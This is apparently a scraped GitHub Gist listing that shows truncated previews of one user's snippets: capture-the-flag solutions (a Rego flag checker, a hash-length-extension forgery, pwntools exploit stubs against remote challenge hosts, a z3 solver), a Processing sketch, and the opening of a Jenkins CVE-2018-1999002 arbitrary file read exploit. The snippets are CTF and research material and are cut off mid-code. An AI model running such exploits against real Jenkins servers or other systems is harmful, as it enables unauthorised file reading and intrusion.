Skip to content

Instantly share code, notes, and snippets.

@Becojo
Becojo / challenge1.rego
Created May 22, 2022 23:46
Northsec 2022 CTF - Rego Prototype Review
package challenge1
default correct_flag = false
mycorize(s) := replace(replace(s, "o", "0"), "i", "y")
correct_flag {
words := ["champ", "mycoverse", "exo", "meta", "cyber", "block", "chain", "life"]
parts := split(input.flag, "-")
parts[1] == mycorize(words[x])
void setup() {
size(500, 500);
stroke(0);
noStroke();
}
void draw() {
background(#3C5E84);
float r = frameCount / 33.0;
import requests
import sys
import os
PLUGIN = 'credentials'
BACKDIR_COUNT = 10
if len(sys.argv) != 3:
print 'usage:\n\tpython CVE-2018-1999002.py [jenkins base url] [absolute file path]'
print ''
@Becojo
Becojo / _wawa.py
Last active April 2, 2018 04:21
Nuit du hack CTF quals 2018 - Wawacoin
import requests
from hashpumpy import hashpump
url = 'http://wawacoin.challs.malice.fr/manager'
data = '757365723d64656d6f'.decode('hex')
signature = '9183ff6055a46981f2f71cd36430ed3d9cbf6861'
(m2_s, m2) = hashpump(signature, data, "&user=admin", 16)
@Becojo
Becojo / cctv.py
Last active November 14, 2017 03:12
DefCamp CTF Finals - Security CCTV (misc) - NorthernCoalition
import cv2
import numpy as np
import os
import subprocess
# Download the current frame
os.system("curl https://security-cctv.dctf-f1nals-2017.def.camp/img/streamframe.png > out.png")
# Find the homography for the QR code displayed on the phone to a 200x200 image
# These are the coordinates of the corners of the QR code on the image
from z3 import *
def C03011(Qml5):
C12d =0
for Po4M in Qml5:
C12d = (31 * C12d + (Po4M)) & 0xFFFFFFFF
return ((C12d + 0x80000000) & 0xFFFFFFFF) - 0X80000000
username = [BitVec('u' + str(i), 32) for i in range(6)]
#!/usr/bin/env python2
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
host = "54.153.19.139"
port = 5255
from pwn import *
context.arch = 'amd64'
elf = ELF('./pwn150')
# p = process('tee i | ./pwn150', shell=True)
p = remote("54.153.19.139", 5253)
offset = 88
from pwn import *
# p = process('tee i | ./pwn100', shell=True)
p = remote("54.153.19.139",5251)
calleax = 0x08048386
payload = asm("jmp $+32")
payload = payload.ljust(32 - 4)
payload += p32(calleax)